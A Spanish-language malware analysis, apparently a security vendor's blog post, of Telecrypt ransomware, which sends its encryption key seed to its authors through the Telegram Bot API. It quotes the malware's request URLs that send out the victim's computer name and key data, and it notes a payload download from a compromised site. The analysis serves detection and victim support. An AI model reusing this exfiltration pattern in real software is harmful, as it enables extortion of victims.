En general, los programas cifradores se pueden dividir en dos grupos:
- Cifradores que pueden cifrar datos sin conectarse a Internet
- Codificadores que necesitan Internet para cifrar datos
La necesidad de utilizar Internet para cifrar los archivos del usuario se debe a varias razones. Por ejemplo, los atacantes pueden enviar al programa cifrador la clave de cifrado y obtener de él información para el posterior descifrado de los archivos de la víctima.
Por esta razón, es evidente que el delincuente necesita organizar un servicio especial para recibir los datos enviados por el programa cifrador. Este servicio debe estar protegido contra los investigadores, lo que requiere costos adicionales para su desarrollo.
Este mes descubrimos un cifrador dirigido a los usuarios rusos, que tiene la peculiaridad de usar el protocolo del programa de mensajería Telegram para enviar la clave de descifrado al atacante.
Este es el primer caso que conocemos en que los programas cifradores usan el protocolo de Telegram.
Análisis del archivo
El troyano está escrito en Delphi y su tamaño es mayor a 3 MB. Una vez lanzado, genera una clave para cifrar los archivos y un identificador de la infección, infection_id.
A continuación, se comunica con los delincuentes mediante el API Telegram Bot, que está disponible al público. Es decir, en esencia el troyano cumple la función de bot de Telegram y mediante la API pública envía mensajes a sus creadores.
Con este objetivo, los delincuentes crearon con anterioridad un “bot de Telegram”. Para hacerlo, recibieron de los servidores de Telegram un token único que identifica de manera inequívoca el bot recién creado y lo pusieron en el cuerpo del troyano, para que pudiese utilizar el API de Telegram.
Al principio el troyano envía una solicitud a la dirección https://api.telegram.org/bot<token>/GetMe, donde <token> es el identificador único del bot de Telegram creado por los delincuentes. Según la documentación oficial de la API, el método getme permite comprobar la existencia de un bot con el token dado y obtener información básica sobre el mismo. El troyano no usa de ninguna manera la información sobre el bot enviada por el servidor.
El troyano envía la siguiente consulta usando el método sendMessage, que le permite al bot enviar mensajes al chat con el número dado. El malware utiliza el número especificado en su cuerpo e informa a sus creadores que la infección se realizó con éxito:
https://api.telegram.org/bot<token>/sendmessage?chat_id=<chat>&text=<computer_name>_<infection_id>_<key_seed>
Parámetros enviados por el troyano:
<chat> número del chat con el delincuente;
<computer_name> nombre del equipo infectado;
<infection_id> identificador de la infección;
<key_seed> número usado para generar la clave de cifrado de los archivos.
Una vez enviada la información, el malware busca en los discos archivos con las extensiones dadas y los cifra byte por byte con un simple algoritmo de suma con los bytes de la clave.
Extensiones de los archivos que se cifrarán
Dependiendo de su configuración, el troyano puede agregar la extensión “.Xcri” a los archivos cifrados, o puede no cambiar la extensión. El ejemplar de troyano que descubrimos no cambia la extensión. La lista de archivos cifrados se guarda en el archivo de texto USERPROFILE%\Desktop\База зашифр файлов.txt.
Después de ejecutar el cifrado, el troyano envía la petición https://api.telegram.org/bot<token>/sendmessage?chat_id=<chat>&text=<computer_name>_<infection_id>_<key_seed>stop
Todos los parámetros son idénticos a los de la anterior solicitud, pero al final tiene añadida la palabra “stop”.
Más adelante, el malware descarga desde un sitio WordPress afectado el módulo adicional Xhelp.exe (del enlace http://***.ru/wp-includes/random_compat/Xhelp.exe) y lo ejecuta. Este módulo, que los delincuentes llaman “Informator” tiene una interfaz gráfica. Su función es informar a la víctima de lo ocurrido y exigirle que pague un rescate. La suma del rescate es de 5000 rublos y como método de pago sugieren utilizar Qiwi y Yandex.Dengi.
Mensajes que ve la víctima de los delincuentes
Los delincuentes se comunican con la víctima mediante el campo de texto presente en la interfaz del “Informator”. La comunicación también se ejecuta con el envío de mensajes Telegram mediante el método sendMessage.
La abundancia de errores gramaticales en el texto de las exigencias de rescate hace que uno se cuestione el nivel de educación de los autores del troyano. También llama la atención la declaración “Gracias por ayudar al fondo de programadores jóvenes”.
Conclusión
Todos los productos Kaspersky Lab detectan esta amenaza con los siguientes veredictos:
Trojan-Ransom.Win32.Telecrypt
PDM:Trojan.Win32.Generic
MD5:
3e24d064025ec20d6a8e8bae1d19ecdb – Trojan-Ransom.Win32.Telecrypt.a (módulo principal)
14d4bc13a12f8243383756de92529d6d – Trojan-Ransom.Win32.Telecrypt.a (módulo “Informator”)
Si usted ha sido víctima de este cifrador, le aconsejamos no pague de ninguna manera a los delincuentes. Póngase en contacto con nuestro centro de soporte, y le ayudaremos a descifrar sus archivos.
El primer cifrador que usa Telegram